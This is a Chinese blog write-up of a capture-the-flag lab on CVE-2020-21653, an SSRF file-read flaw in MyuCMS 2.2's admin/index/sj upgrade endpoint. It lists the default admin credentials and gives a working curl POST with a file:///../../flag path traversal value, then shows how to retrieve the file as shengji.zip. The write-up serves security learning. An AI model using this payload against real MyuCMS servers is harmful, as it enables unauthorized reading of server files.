CVE-2020-21653(春秋云境 )

文章讲述了MyuCMS2.2版本中的admin.php/index/sj方法存在SSRF漏洞,可通过curl发送POST请求读取任意文件,包括flag。漏洞利用步骤详细描述了如何发送请求和获取文件内容。
摘要由CSDN通过智能技术生成

CVE-2020-21653(春秋云境 )

更新时间-2024/4/19

靶标介绍:

MyuCMS开源内容管理系统,采用ThinkPHP开发而成的社区商城聚合,插件,模板,轻便快捷容易扩展 其2.2版本中admin.php/index/sj方法存在SSRF漏洞, 可造成任意文件读取。

账号和密码(非主要介绍)

账号:admin 密码:admin 口令:123456

具体步骤

按照提示我们来到对应实例的/admin/index/sj路劲下,会发现有一个 未定义数组索引: title的报错提醒。图示如下

        分析此段代码逻辑,还是很通俗易懂的。从post请求中接收一个title参数,然后转码后给url变量,保存在save_dir对应的路径下,即'runtime/myucms/',并将其命名为shengji.zip,如果成功则返回状态码200并提示升级成功。 通过以上分析就很容易完成了以下操作。

使用curl发送post请求

  curl -X POST -d "title=file:///../../../../../flag" -b "_ga=GA1.2.1987302754.1711436925; _ga_J1DQF09WZC=GS1.2.1711436926.1.0.1711436926.0.0.0; PHPSESSID=og3u5v106nboe92d3053j0suvu" http://eci-2ze0upmwz146kc1p0o2f.cloudeci1.ichunqiu.com/admin/index/sj

curl,全称CommandLine URLCommandLine Uniform Resource Locator,顾名思义,curl命令是在命令行方式下工作,利用URL的语法进行数据的传输或者文件的传输。 我们可以通过-X和-b分别只当请求方式为post和自己的cookie(完成身份验证),-d用于构造参数。成功发送后就会接收到以下返回。

 {"code":200,"msg":"升级成功"}    

这时候我们再到实例对应的路径 实例路径/runtime/myucms/shengji.zip下载此文件,如果不指定文件名称,则会提示权限不够。

最后,通过vim或者将文件的后缀改为txt等等方法即可查看获得的flag了。

评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值